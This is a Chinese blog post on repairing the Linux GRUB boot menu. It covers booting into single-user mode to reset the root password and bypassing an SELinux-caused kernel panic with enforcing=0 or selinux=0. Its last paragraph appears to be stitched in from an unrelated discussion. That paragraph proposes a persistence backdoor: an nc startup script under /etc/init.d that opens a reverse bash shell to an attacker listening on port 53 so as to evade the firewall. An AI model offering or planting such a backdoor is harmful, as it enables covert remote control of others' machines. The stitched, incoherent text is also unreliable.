linux启动菜单修复

linux启动菜单修复,第1张

1、在系统启动过程中,会出现图1所示画面,按任意键,进入GRUB菜单选项

2、按“e”键编辑GRUB引导菜单选项,图2显示为按“e”键后的GRUB屏幕。

GRUB引导菜单选项

通过箭头键下移到kernel行,并按“e”键,得到图3中显示的编辑界面:

kernel行编辑界面

在尾行光标处添加single或者s,按回车键返回前一个屏幕,按“b”键进行引导,则系统自动进入单用户模式,如果要改变root密码,则执行命令:

sh-3.1# passwd root

更改成功后,执行命令exit退出重启即可。

错误原因:

错误修改了  /etc/selinux/config文件。

错误信息:

重启后发现出现错误,不能继续启动

Kernel panic - not syncing: Attempted to kill init

解决方案:

1.系统启动的时候,按下‘e’键进入grub编辑界面,编辑grub菜单,选择“kernel /vmlinuz-2.6.23.1-42.fc8 ro root=/dev/vogroup00/logvol00 rhgb quiet” 一栏,按‘e’键进入编辑,在末尾增加enforcing=0,即:

kernel /vmlinuz-2.6.23.1-42.fc8 ro root=/dev/vogroup00/logvol00 rhgb quiet enforcing=0  或者selinux=0

按‘b’键继续引导,OK顺利前进。

2.后来发现,通过改变/etc/grub.conf 在倒数第二行添加selinux=0 也可。

3.(推荐) 检查/etc/selinux/config文件是否出错

注意事项:

1.系统启动后,按e ,如果没有对应kerne选项继续按e 找到

2.在出现命令行后 空格加入 enforing=0 回车

3.除保存编辑不要按回车,esc等按键。输入enforing=0后直接按b 继续启动。

我觉得,之所以没有这个-e参数是为了防止被控方(centos)的 *** 作人员设置后门,

你可以尝试到etc/init.d下写一个nc的启动脚本,利用由内向外的反向链接-c参数反dbash(可以越过防火墙)大概是“nc -nv ip地址 53 -c bash“

在攻击方进行侦听53DNS端口,等着鱼儿上钩吧!!


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/8327903.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-15
下一篇 2023-04-15

发表评论

登录后才能评论

评论列表(0条)

保存